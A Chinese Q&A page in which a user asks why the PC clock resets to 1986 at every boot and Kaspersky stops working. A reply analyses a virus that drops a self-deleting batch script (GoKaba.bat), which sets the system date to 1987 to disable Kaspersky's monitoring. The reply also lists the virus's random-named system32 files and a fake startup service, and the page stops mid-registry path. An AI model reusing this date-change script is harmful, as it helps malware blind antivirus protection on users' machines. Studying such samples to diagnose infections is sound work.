电脑每次开机总是提示时间设置错误？？

来源：百度知道 编辑：UC知道 时间：2024/05/24 22:52:51
电脑每次开机总是提示时间设置错误要求进入控制面板进行小程序操作修改，进去后发现时间到了1986年，卡巴变灰不能使用，改了之后下次开机还会出现同样问题。安全卫士也找不出木马什么的，也没发现什么恶意进程。上次在网上有位仁兄教了个办法将时间改为当前标准时间再将注册表中的时间修改权限全部删除但重启后发现仍是1986年。没办法了，以前朋友遇到过重装系统才整好，不知有没有别的好办法~~~~~？？？？

一个对付卡巴的病毒

样本动作
判断用户机子是否装卡巴(KIS/KAV)
如果安装
释放
GoKaba.bat
文件内容
CODE:
@echo off
set date=%date%
date 1987-10-18
ping -n 45 localhost > nul
date %date%
del %0
[Copy to clipboard]

=>将系统时间调整为1987-10-18

卡巴的监控立刻失效

成功完成K.O.卡巴后
---------------------------------------------------------------------------------------------
以下为所有机子状况

释放文件
%SystemRoot%\system32\*.EXE
%SystemRoot%\system32\*T.EXE
%SystemRoot%\system32\*.DLL
%SystemRoot%\system32\delme.bat

* =随机8位字母(如7F9DE518\312E0FDA)

注册表变化
添加伪系统服务
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\* "DisplayName" = *

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\* "Description" = 为系统提供加速启动功能(d-sp1)。

HKEY_LOCAL_MACHINE